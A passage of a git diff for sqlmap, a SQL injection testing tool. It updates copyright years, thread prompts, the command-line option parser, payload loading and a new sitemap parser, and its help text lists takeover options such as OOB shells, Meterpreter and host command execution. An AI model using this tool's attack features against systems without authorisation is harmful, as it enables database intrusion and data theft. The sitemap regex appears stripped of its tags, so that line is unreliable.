kb.threadContinue = True kb.threadException = False - if threadChoice and numThreads == 1 and any(_ in kb.injection.data for _ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY, PAYLOAD.TECHNIQUE.UNION)): + if threadChoice and numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)): while True: message = "please enter number of threads? [Enter for %d (current)] " % numThreads choice = readInput(message, default=str(numThreads)) - if choice and choice.isdigit(): - if int(choice) > MAX_NUMBER_OF_THREADS: - errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS - logger.critical(errMsg) - else: - numThreads = int(choice) - break + if choice: + skipThreadCheck = False + if choice.endswith('!'): + choice = choice[:-1] + skipThreadCheck = True + if choice.isdigit(): + if int(choice) > MAX_NUMBER_OF_THREADS and not skipThreadCheck: + errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS + logger.critical(errMsg) + else: + conf.threads = numThreads = int(choice) + break if numThreads == 1: - warnMsg = "running in a single-thread mode. This could take a while." + warnMsg = "running in a single-thread mode. This could take a while" logger.warn(warnMsg) try: @@ -140,7 +145,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio try: thread.start() except threadError, errMsg: - errMsg = "error occured while starting new thread ('%s')" % errMsg + errMsg = "error occurred while starting new thread ('%s')" % errMsg logger.critical(errMsg) break diff --git a/lib/core/unescaper.py b/lib/core/unescaper.py index a76455292..205b77a94 100644 --- a/lib/core/unescaper.py +++ b/lib/core/unescaper.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/update.py b/lib/core/update.py index 6a55b16a1..f2a8de322 100644 --- a/lib/core/update.py +++ b/lib/core/update.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -41,7 +41,7 @@ def update(): logger.debug(debugMsg) dataToStdout("\r[%s] [INFO] update in progress " % time.strftime("%X")) - process = execute("git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=PIPE, stderr=PIPE) + process = execute("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=PIPE, stderr=PIPE) pollProcess(process, True) stdout, stderr = process.communicate() success = not process.returncode diff --git a/lib/core/wordlist.py b/lib/core/wordlist.py index b18f7c46b..bc4e486a1 100644 --- a/lib/core/wordlist.py +++ b/lib/core/wordlist.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -9,6 +9,7 @@ import os import zipfile from lib.core.exception import SqlmapDataException +from lib.core.exception import SqlmapInstallationException from lib.core.settings import UNICODE_ENCODING class Wordlist(object): @@ -21,6 +22,7 @@ class Wordlist(object): self.fp = None self.index = 0 self.counter = -1 + self.current = None self.iter = None self.custom = custom or [] self.proc_id = proc_id @@ -37,15 +39,15 @@ class Wordlist(object): elif self.index == len(self.filenames): self.iter = iter(self.custom) else: - current = self.filenames[self.index] - if os.path.splitext(current)[1].lower() == ".zip": - _ = zipfile.ZipFile(current, 'r') + self.current = self.filenames[self.index] + if os.path.splitext(self.current)[1].lower() == ".zip": + _ = zipfile.ZipFile(self.current, 'r') if len(_.namelist()) == 0: - errMsg = "no file(s) inside '%s'" % current + errMsg = "no file(s) inside '%s'" % self.current raise SqlmapDataException(errMsg) self.fp = _.open(_.namelist()[0]) else: - self.fp = open(current, 'r') + self.fp = open(self.current, 'r') self.iter = iter(self.fp) self.index += 1 @@ -61,6 +63,11 @@ class Wordlist(object): self.counter += 1 try: retVal = self.iter.next().rstrip() + except zipfile.error, ex: + errMsg = "something seems to be wrong with " + errMsg += "the file '%s' ('%s'). Please make " % (self.current, ex) + errMsg += "sure that you haven't made any changes to it" + raise SqlmapInstallationException, errMsg except StopIteration: self.adjust() retVal = self.iter.next().rstrip() diff --git a/lib/parse/__init__.py b/lib/parse/__init__.py index 9e1072a9c..8d7bcd8f0 100644 --- a/lib/parse/__init__.py +++ b/lib/parse/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/parse/banner.py b/lib/parse/banner.py index be6ffa9ca..c83c42aa0 100644 --- a/lib/parse/banner.py +++ b/lib/parse/banner.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -9,7 +9,6 @@ import re from xml.sax.handler import ContentHandler -from lib.core.common import checkFile from lib.core.common import Backend from lib.core.common import parseXmlFile from lib.core.common import sanitizeStr @@ -63,7 +62,7 @@ class MSSQLBannerHandler(ContentHandler): def endElement(self, name): if name == "signature": for version in (self._version, self._versionAlt): - if version and re.search(r" %s[\.\ ]+" % version, self._banner): + if version and re.search(r" %s[\.\ ]+" % re.escape(version), self._banner): self._feedInfo("dbmsRelease", self._release) self._feedInfo("dbmsVersion", self._version) self._feedInfo("dbmsServicePack", self._servicePack) @@ -104,8 +103,6 @@ def bannerParser(banner): if not xmlfile: return - checkFile(xmlfile) - if Backend.isDbms(DBMS.MSSQL): handler = MSSQLBannerHandler(banner, kb.bannerFp) parseXmlFile(xmlfile, handler) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index cb1c99efe..60cadde7b 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -1,10 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ +import os +import re +import shlex import sys from optparse import OptionError @@ -13,23 +16,37 @@ from optparse import OptionParser from optparse import SUPPRESS_HELP from lib.core.common import checkDeprecatedOptions +from lib.core.common import checkSystemEncoding from lib.core.common import expandMnemonics from lib.core.common import getUnicode +from lib.core.data import cmdLineOptions +from lib.core.data import conf from lib.core.data import logger from lib.core.defaults import defaults +from lib.core.enums import AUTOCOMPLETE_TYPE +from lib.core.exception import SqlmapShellQuitException +from lib.core.exception import SqlmapSyntaxException from lib.core.settings import BASIC_HELP_ITEMS from lib.core.settings import DUMMY_URL from lib.core.settings import IS_WIN from lib.core.settings import MAX_HELP_OPTION_LENGTH from lib.core.settings import VERSION_STRING +from lib.core.shell import autoCompletion +from lib.core.shell import clearHistory +from lib.core.shell import loadHistory +from lib.core.shell import saveHistory def cmdLineParser(): """ This function parses the command line parameters and arguments """ + checkSystemEncoding() + + _ = getUnicode(os.path.basename(sys.argv[0]), encoding=sys.getfilesystemencoding()) + usage = "%s%s [options]" % ("python " if not IS_WIN else "", \ - "\"%s\"" % sys.argv[0] if " " in sys.argv[0] else sys.argv[0]) + "\"%s\"" % _ if " " in _ else _) parser = OptionParser(usage=usage) @@ -47,18 +64,20 @@ def cmdLineParser(): # Target options target = OptionGroup(parser, "Target", "At least one of these " - "options has to be provided to set the target(s)") + "options has to be provided to define the target(s)") - target.add_option("-d", dest="direct", help="Direct " - "connection to the database") + target.add_option("-d", dest="direct", help="Connection string " + "for direct database connection") - target.add_option("-u", "--url", dest="url", help="Target URL (e.g. \"www.target.com/vuln.php?id=1\")") + target.add_option("-u", "--url", dest="url", help="Target URL (e.g. \"http://www.site.com/vuln.php?id=1\")") - target.add_option("-l", dest="logFile", help="Parse targets from Burp " - "or WebScarab proxy logs") + target.add_option("-l", dest="logFile", help="Parse target(s) from Burp " + "or WebScarab proxy log file") - target.add_option("-m", dest="bulkFile", help="Scan multiple targets enlisted " - "in a given textual file ") + target.add_option("-x", dest="sitemapUrl", help="Parse target(s) from remote sitemap(.xml) file") + + target.add_option("-m", dest="bulkFile", help="Scan multiple targets given " + "in a textual file ") target.add_option("-r", dest="requestFile", help="Load HTTP request from a file") @@ -73,14 +92,20 @@ def cmdLineParser(): request = OptionGroup(parser, "Request", "These options can be used " "to specify how to connect to the target URL") + request.add_option("--method", dest="method", + help="Force usage of given HTTP method (e.g. PUT)") + request.add_option("--data", dest="data", help="Data string to be sent through POST") - request.add_option("--param-del", dest="pDel", + request.add_option("--param-del", dest="paramDel", help="Character used for splitting parameter values") request.add_option("--cookie", dest="cookie", - help="HTTP Cookie header") + help="HTTP Cookie header value") + + request.add_option("--cookie-del", dest="cookieDel", + help="Character used for splitting cookie values") request.add_option("--load-cookies", dest="loadCookies", help="File containing cookies in Netscape/wget format") @@ -90,42 +115,47 @@ def cmdLineParser(): help="Ignore Set-Cookie header from response") request.add_option("--user-agent", dest="agent", - help="HTTP User-Agent header") + help="HTTP User-Agent header value") request.add_option("--random-agent", dest="randomAgent", action="store_true", - help="Use randomly selected HTTP User-Agent header") + help="Use randomly selected HTTP User-Agent header value") request.add_option("--host", dest="host", - help="HTTP Host header") + help="HTTP Host header value") request.add_option("--referer", dest="referer", - help="HTTP Referer header") + help="HTTP Referer header value") request.add_option("--headers", dest="headers", help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")") - request.add_option("--auth-type", dest="aType", + request.add_option("--auth-type", dest="authType", help="HTTP authentication type " - "(Basic, Digest, NTLM or Cert)") + "(Basic, Digest, NTLM or PKI)") - request.add_option("--auth-cred", dest="aCred", + request.add_option("--auth-cred", dest="authCred", help="HTTP authentication credentials " "(name:password)") - request.add_option("--auth-cert", dest="aCert", - help="HTTP authentication certificate (" - "key_file,cert_file)") + request.add_option("--auth-private", dest="authPrivate", + help="HTTP authentication PEM private key file") + + request.add_option("--ignore-401", dest="ignore401", action="store_true", + help="Ignore HTTP Error 401 (Unauthorized)") request.add_option("--proxy", dest="proxy", - help="Use a HTTP proxy to connect to the target URL") + help="Use a proxy to connect to the target URL") - request.add_option("--proxy-cred", dest="pCred", - help="HTTP proxy authentication credentials " + request.add_option("--proxy-cred", dest="proxyCred", + help="Proxy authentication credentials " "(name:password)") + request.add_option("--proxy-file", dest="proxyFile", + help="Load proxy list from a file") + request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true", - help="Ignore system default HTTP proxy") + help="Ignore system default proxy settings") request.add_option("--tor", dest="tor", action="store_true", @@ -155,23 +185,35 @@ def cmdLineParser(): request.add_option("--randomize", dest="rParam", help="Randomly change value for given parameter(s)") - request.add_option("--safe-url", dest="safUrl", + request.add_option("--safe-url", dest="safeUrl", help="URL address to visit frequently during testing") - request.add_option("--safe-freq", dest="saFreq", type="int", + request.add_option("--safe-post", dest="safePost", + help="POST data to send to a safe URL") + + request.add_option("--safe-req", dest="safeReqFile", + help="Load safe HTTP request from a file") + + request.add_option("--safe-freq", dest="safeFreq", type="int", help="Test requests between two visits to a given safe URL") request.add_option("--skip-urlencode", dest="skipUrlEncode", action="store_true", help="Skip URL encoding of payload data") + request.add_option("--csrf-token", dest="csrfToken", + help="Parameter used to hold anti-CSRF token") + + request.add_option("--csrf-url", dest="csrfUrl", + help="URL address to visit to extract anti-CSRF token") + request.add_option("--force-ssl", dest="forceSSL", action="store_true", help="Force usage of SSL/HTTPS") request.add_option("--hpp", dest="hpp", action="store_true", - help="Use HTTP parameter pollution") + help="Use HTTP parameter pollution method") request.add_option("--eval", dest="evalCode", help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")") @@ -210,6 +252,9 @@ def cmdLineParser(): injection.add_option("--skip", dest="skip", help="Skip testing for given parameter(s)") + injection.add_option("--skip-static", dest="skipStatic", action="store_true", + help="Skip testing parameters that not appear dynamic") + injection.add_option("--dbms", dest="dbms", help="Force back-end DBMS to this value") @@ -228,6 +273,10 @@ def cmdLineParser(): action="store_true", help="Use logical operations for invalidating values") + injection.add_option("--invalid-string", dest="invalidString", + action="store_true", + help="Use random strings for invalidating values") + injection.add_option("--no-cast", dest="noCast", action="store_true", help="Turn off payload casting mechanism") @@ -254,7 +303,7 @@ def cmdLineParser(): "default %d)" % defaults.level) detection.add_option("--risk", dest="risk", type="int", - help="Risk of tests to perform (0-3, " + help="Risk of tests to perform (1-3, " "default %d)" % defaults.level) detection.add_option("--string", dest="string", @@ -386,14 +435,20 @@ def cmdLineParser(): enumeration.add_option("--search", dest="search", action="store_true", help="Search column(s), table(s) and/or database name(s)") + enumeration.add_option("--comments", dest="getComments", action="store_true", + help="Retrieve DBMS comments") + enumeration.add_option("-D", dest="db", help="DBMS database to enumerate") enumeration.add_option("-T", dest="tbl", - help="DBMS database table to enumerate") + help="DBMS database table(s) to enumerate") enumeration.add_option("-C", dest="col", - help="DBMS database table column to enumerate") + help="DBMS database table column(s) to enumerate") + + enumeration.add_option("-X", dest="excludeCol", + help="DBMS database table column(s) to not enumerate") enumeration.add_option("-U", dest="user", help="DBMS user to enumerate") @@ -403,6 +458,9 @@ def cmdLineParser(): help="Exclude DBMS system databases when " "enumerating tables") + enumeration.add_option("--where", dest="dumpWhere", + help="Use WHERE condition while table dumping") + enumeration.add_option("--start", dest="limitStart", type="int", help="First query output entry to retrieve") @@ -425,7 +483,7 @@ def cmdLineParser(): enumeration.add_option("--sql-file", dest="sqlFile", help="Execute SQL statements from given file(s)") - # User-defined function options + # Brute force options brute = OptionGroup(parser, "Brute force", "These " "options can be used to run brute force " "checks") @@ -481,12 +539,12 @@ def cmdLineParser(): takeover.add_option("--os-pwn", dest="osPwn", action="store_true", help="Prompt for an OOB shell, " - "meterpreter or VNC") + "Meterpreter or VNC") takeover.add_option("--os-smbrelay", dest="osSmb", action="store_true", help="One click prompt for an OOB shell, " - "meterpreter or VNC") + "Meterpreter or VNC") takeover.add_option("--os-bof", dest="osBof", action="store_true", @@ -557,7 +615,10 @@ def cmdLineParser(): help="Force character encoding used for data retrieval") general.add_option("--crawl", dest="crawlDepth", type="int", - help="Crawl the website starting from the target URL") + help="Crawl the website starting from the target URL") + + general.add_option("--crawl-exclude", dest="crawlExclude", + help="Regexp to exclude pages from crawling (e.g. \"logout\")") general.add_option("--csv-del", dest="csvDel", help="Delimiting character used in CSV output " @@ -587,7 +648,7 @@ def cmdLineParser(): action="store_true", help="Use DBMS hex function(s) for data retrieval") - general.add_option("--output-dir", dest="oDir", + general.add_option("--output-dir", dest="outputDir", action="store", help="Custom output directory path") @@ -619,7 +680,7 @@ def cmdLineParser(): help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")") miscellaneous.add_option("--alert", dest="alert", - help="Run shell command(s) when SQL injection is found") + help="Run host OS command(s) when SQL injection is found") miscellaneous.add_option("--answers", dest="answers", help="Set question answers (e.g. \"quit=N,follow=N\")") @@ -627,10 +688,6 @@ def cmdLineParser(): miscellaneous.add_option("--beep", dest="beep", action="store_true", help="Make a beep sound when SQL injection is found") - miscellaneous.add_option("--check-waf", dest="checkWaf", - action="store_true", - help="Heuristically check for WAF/IPS/IDS protection") - miscellaneous.add_option("--cleanup", dest="cleanup", action="store_true", help="Clean up the DBMS from sqlmap specific " @@ -649,7 +706,7 @@ def cmdLineParser(): miscellaneous.add_option("--identify-waf", dest="identifyWaf", action="store_true", - help="Make a through testing for a WAF/IPS/IDS protection") + help="Make a thorough testing for a WAF/IPS/IDS protection") miscellaneous.add_option("--mobile", dest="mobile", action="store_true", @@ -665,7 +722,10 @@ def cmdLineParser(): miscellaneous.add_option("--smart", dest="smart", action="store_true", - help="Conduct through tests only if positive heuristic(s)") + help="Conduct thorough tests only if positive heuristic(s)") + + miscellaneous.add_option("--sqlmap-shell", dest="sqlmapShell", action="store_true", + help="Prompt for an interactive sqlmap shell") miscellaneous.add_option("--wizard", dest="wizard", action="store_true", @@ -736,22 +796,77 @@ def cmdLineParser(): option = parser.get_option("-h") option.help = option.help.capitalize().replace("this help", "basic help") - args = [] + argv = [] + prompt = False advancedHelp = True for arg in sys.argv: - args.append(getUnicode(arg, system=True)) + argv.append(getUnicode(arg, encoding=sys.getfilesystemencoding())) - checkDeprecatedOptions(args) + checkDeprecatedOptions(argv) + + prompt = "--sqlmap-shell" in argv + + if prompt: + parser.usage = "" + cmdLineOptions.sqlmapShell = True + + _ = ["x", "q", "exit", "quit", "clear"] + + for option in parser.option_list: + _.extend(option._long_opts) + _.extend(option._short_opts) + + for group in parser.option_groups: + for option in group.option_list: + _.extend(option._long_opts) + _.extend(option._short_opts) + + autoCompletion(AUTOCOMPLETE_TYPE.SQLMAP, commands=_) + + while True: + command = None + + try: + command = raw_input("sqlmap-shell> ").strip() + command = getUnicode(command, encoding=sys.stdin.encoding) + except (KeyboardInterrupt, EOFError): + print + raise SqlmapShellQuitException + + if not command: + continue + elif command.lower() == "clear": + clearHistory() + print "[i] history cleared" + saveHistory(AUTOCOMPLETE_TYPE.SQLMAP) + elif command.lower() in ("x", "q", "exit", "quit"): + raise SqlmapShellQuitException + elif command[0] != '-': + print "[!] invalid option(s) provided" + print "[i] proper example: '-u http://www.site.com/vuln.php?id=1 --banner'" + else: + saveHistory(AUTOCOMPLETE_TYPE.SQLMAP) + loadHistory(AUTOCOMPLETE_TYPE.SQLMAP) + break + + try: + for arg in shlex.split(command): + argv.append(getUnicode(arg, encoding=sys.stdin.encoding)) + except ValueError, ex: + raise SqlmapSyntaxException, "something went wrong during command line parsing ('%s')" % ex # Hide non-basic options in basic help case - for i in xrange(len(sys.argv)): - if sys.argv[i] == '-hh': - sys.argv[i] = '-h' - elif sys.argv[i] == '--version': - print VERSION_STRING + for i in xrange(len(argv)): + if argv[i] == "-hh": + argv[i] = "-h" + elif re.match(r"\A\d+!\Z", argv[i]) and argv[max(0, i - 1)] == "--threads" or re.match(r"\A--threads.+\d+!\Z", argv[i]): + argv[i] = argv[i][:-1] + conf.skipThreadCheck = True + elif argv[i] == "--version": + print VERSION_STRING.split('/')[-1] raise SystemExit - elif sys.argv[i] == '-h': + elif argv[i] == "-h": advancedHelp = False for group in parser.option_groups[:]: found = False @@ -764,24 +879,27 @@ def cmdLineParser(): parser.option_groups.remove(group) try: - (args, _) = parser.parse_args(args) + (args, _) = parser.parse_args(argv) + except UnicodeEncodeError, ex: + print "\n[!] %s" % ex.object.encode("unicode-escape") + raise SystemExit except SystemExit: - if '-h' in sys.argv and not advancedHelp: + if "-h" in argv and not advancedHelp: print "\n[!] to see full list of options run with '-hh'" raise # Expand given mnemonic options (e.g. -z "ign,flu,bat") - for i in xrange(len(sys.argv) - 1): - if sys.argv[i] == '-z': - expandMnemonics(sys.argv[i + 1], parser, args) + for i in xrange(len(argv) - 1): + if argv[i] == "-z": + expandMnemonics(argv[i + 1], parser, args) if args.dummy: args.url = args.url or DUMMY_URL if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, \ args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, \ - args.purgeOutput, args.pickledOptions)): - errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --update, --purge-output or --dependencies), " + args.purgeOutput, args.pickledOptions, args.sitemapUrl)): + errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), " errMsg += "use -h for basic or -hh for advanced help" parser.error(errMsg) diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index 8fa3d8f80..653faefbc 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -1,15 +1,18 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import codecs from ConfigParser import MissingSectionHeaderError +from ConfigParser import ParsingError from lib.core.common import checkFile +from lib.core.common import getUnicode +from lib.core.common import openFile from lib.core.common import unArrayizeValue from lib.core.common import UnicodeRawConfigParser from lib.core.data import conf @@ -30,12 +33,17 @@ def configFileProxy(section, option, boolean=False, integer=False): global config if config.has_option(section, option): - if boolean: - value = config.getboolean(section, option) if config.get(section, option) else False - elif integer: - value = config.getint(section, option) if config.get(section, option) else 0 - else: - value = config.get(section, option) + try: + if boolean: + value = config.getboolean(section, option) if config.get(section, option) else False + elif integer: + value = config.getint(section, option) if config.get(section, option) else 0 + else: + value = config.get(section, option) + except ValueError, ex: + errMsg = "error occurred while processing the option " + errMsg += "'%s' in provided configuration file ('%s')" % (option, getUnicode(ex)) + raise SqlmapSyntaxException(errMsg) if value: conf[option] = value @@ -59,29 +67,31 @@ def configFileParser(configFile): logger.debug(debugMsg) checkFile(configFile) - configFP = codecs.open(configFile, "rb", UNICODE_ENCODING) + configFP = openFile(configFile, "rb") try: config = UnicodeRawConfigParser() config.readfp(configFP) - except MissingSectionHeaderError: - errMsg = "you have provided an invalid configuration file" + except Exception, ex: + errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % getUnicode(ex) raise SqlmapSyntaxException(errMsg) if not config.has_section("Target"): errMsg = "missing a mandatory section 'Target' in the configuration file" raise SqlmapMissingMandatoryOptionException(errMsg) - condition = not config.has_option("Target", "url") + condition = not config.has_option("Target", "direct") + condition &= not config.has_option("Target", "url") condition &= not config.has_option("Target", "logFile") condition &= not config.has_option("Target", "bulkFile") condition &= not config.has_option("Target", "googleDork") condition &= not config.has_option("Target", "requestFile") + condition &= not config.has_option("Target", "sitemapUrl") condition &= not config.has_option("Target", "wizard") if condition: errMsg = "missing a mandatory option in the configuration file " - errMsg += "(url, logFile, bulkFile, googleDork, requestFile or wizard)" + errMsg += "(direct, url, logFile, bulkFile, googleDork, requestFile, sitemapUrl or wizard)" raise SqlmapMissingMandatoryOptionException(errMsg) for family, optionData in optDict.items(): diff --git a/lib/parse/handler.py b/lib/parse/handler.py index 12116cc4b..04950ecbd 100644 --- a/lib/parse/handler.py +++ b/lib/parse/handler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -70,7 +70,7 @@ class FingerprintHandler(ContentHandler): self._feedInfo("technology", attrs.get("technology")) if self._sp.isdigit(): - self._feedInfo("sp", "Service Pack %s" % self._match.group(int(self._sp))) + self._feedInfo("sp", "Service Pack %s" % int(self._sp)) self._regexp = None self._match = None diff --git a/lib/parse/headers.py b/lib/parse/headers.py index 7384b14b9..4ca97779c 100644 --- a/lib/parse/headers.py +++ b/lib/parse/headers.py @@ -1,14 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import itertools import os -from lib.core.common import checkFile from lib.core.common import parseXmlFile from lib.core.data import kb from lib.core.data import paths @@ -36,7 +35,6 @@ def headersParser(headers): for header in itertools.ifilter(lambda x: x in kb.headerPaths, headers): value = headers[header] xmlfile = kb.headerPaths[header] - checkFile(xmlfile) handler = FingerprintHandler(value, kb.headersFp) diff --git a/lib/parse/html.py b/lib/parse/html.py index 367276ba5..3c40920e6 100644 --- a/lib/parse/html.py +++ b/lib/parse/html.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -9,7 +9,6 @@ import re from xml.sax.handler import ContentHandler -from lib.core.common import checkFile from lib.core.common import parseXmlFile from lib.core.data import kb from lib.core.data import paths @@ -49,7 +48,6 @@ def htmlParser(page): """ xmlfile = paths.ERRORS_XML - checkFile(xmlfile) handler = HTMLHandler(page) parseXmlFile(xmlfile, handler) diff --git a/lib/parse/payloads.py b/lib/parse/payloads.py index fe2befb05..c98a7f014 100644 --- a/lib/parse/payloads.py +++ b/lib/parse/payloads.py @@ -1,15 +1,19 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ +import os + from xml.etree import ElementTree as et from lib.core.data import conf +from lib.core.data import logger from lib.core.data import paths from lib.core.datatype import AttribDict +from lib.core.exception import SqlmapInstallationException def cleanupVals(text, tag): if tag in ("clause", "where"): @@ -66,7 +70,34 @@ def parseXmlNode(node): conf.tests.append(test) -def loadPayloads(): - doc = et.parse(paths.PAYLOADS_XML) +def loadBoundaries(): + try: + doc = et.parse(paths.BOUNDARIES_XML) + except Exception, ex: + errMsg = "something seems to be wrong with " + errMsg += "the file '%s' ('%s'). Please make " % (paths.BOUNDARIES_XML, ex) + errMsg += "sure that you haven't made any changes to it" + raise SqlmapInstallationException, errMsg + root = doc.getroot() parseXmlNode(root) + +def loadPayloads(): + payloadFiles = os.listdir(paths.SQLMAP_XML_PAYLOADS_PATH) + payloadFiles.sort() + + for payloadFile in payloadFiles: + payloadFilePath = os.path.join(paths.SQLMAP_XML_PAYLOADS_PATH, payloadFile) + + #logger.debug("Parsing payloads from file '%s'" % payloadFile) + + try: + doc = et.parse(payloadFilePath) + except Exception, ex: + errMsg = "something seems to be wrong with " + errMsg += "the file '%s' ('%s'). Please make " % (payloadFilePath, ex) + errMsg += "sure that you haven't made any changes to it" + raise SqlmapInstallationException, errMsg + + root = doc.getroot() + parseXmlNode(root) diff --git a/lib/parse/sitemap.py b/lib/parse/sitemap.py new file mode 100644 index 000000000..009a63450 --- /dev/null +++ b/lib/parse/sitemap.py @@ -0,0 +1,57 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +import httplib +import re + +from lib.core.common import readInput +from lib.core.data import kb +from lib.core.data import logger +from lib.core.exception import SqlmapSyntaxException +from lib.request.connect import Connect as Request +from thirdparty.oset.pyoset import oset + +abortedFlag = None + +def parseSitemap(url, retVal=None): + global abortedFlag + + if retVal is not None: + logger.debug("parsing sitemap '%s'" % url) + + try: + if retVal is None: + abortedFlag = False + retVal = oset() + + try: + content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else "" + except httplib.InvalidURL: + errMsg = "invalid URL given for sitemap ('%s')" % url + raise SqlmapSyntaxException, errMsg + + for match in re.finditer(r"\s*([^<]+)", content or ""): + if abortedFlag: + break + url = match.group(1).strip() + if url.endswith(".xml") and "sitemap" in url.lower(): + if kb.followSitemapRecursion is None: + message = "sitemap recursion detected. Do you want to follow? [y/N] " + test = readInput(message, default="N") + kb.followSitemapRecursion = test[0] in ("y", "Y") + if kb.followSitemapRecursion: + parseSitemap(url, retVal) + else: + retVal.add(url) + + except KeyboardInterrupt: + abortedFlag = True + warnMsg = "user aborted during sitemap parsing. sqlmap " + warnMsg += "will use partial list" + logger.warn(warnMsg) + + return retVal diff --git a/lib/request/__init__.py b/lib/request/__init__.py index 9e1072a9c..8d7bcd8f0 100644 --- a/lib/request/__init__.py +++ b/lib/request/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/request/basic.py b/lib/request/basic.py old mode 100644 new mode 100755 index 7ccb0c926..41829c0ce --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -15,6 +15,7 @@ import zlib from lib.core.common import extractErrorMessage from lib.core.common import extractRegexResult +from lib.core.common import getPublicTypeMembers from lib.core.common import getUnicode from lib.core.common import readInput from lib.core.common import resetCookieJar @@ -26,10 +27,10 @@ from lib.core.data import logger from lib.core.enums import HTTP_HEADER from lib.core.enums import PLACE from lib.core.exception import SqlmapCompressionException +from lib.core.settings import BLOCKED_IP_REGEX from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import EVENTVALIDATION_REGEX from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE -from lib.core.settings import ML from lib.core.settings import META_CHARSET_REGEX from lib.core.settings import PARSE_HEADERS_LIMIT from lib.core.settings import VIEWSTATE_REGEX @@ -37,6 +38,7 @@ from lib.parse.headers import headersParser from lib.parse.html import htmlParser from lib.utils.htmlentities import htmlEntities from thirdparty.chardet import detect +from thirdparty.odict.odict import OrderedDict def forgeHeaders(items=None): """ @@ -50,10 +52,36 @@ def forgeHeaders(items=None): if items[_] is None: del items[_] - headers = dict(conf.httpHeaders) - headers.update(items or {}) + headers = OrderedDict(conf.httpHeaders) + headers.update(items.items()) - headers = dict(("-".join(_.capitalize() for _ in key.split('-')), value) for (key, value) in headers.items()) + class _str(str): + def capitalize(self): + return _str(self) + + def title(self): + return _str(self) + + _ = headers + headers = OrderedDict() + for key, value in _.items(): + success = False + + for _ in headers: + if _.upper() == key.upper(): + del headers[_] + break + + if key.upper() not in (_.upper() for _ in 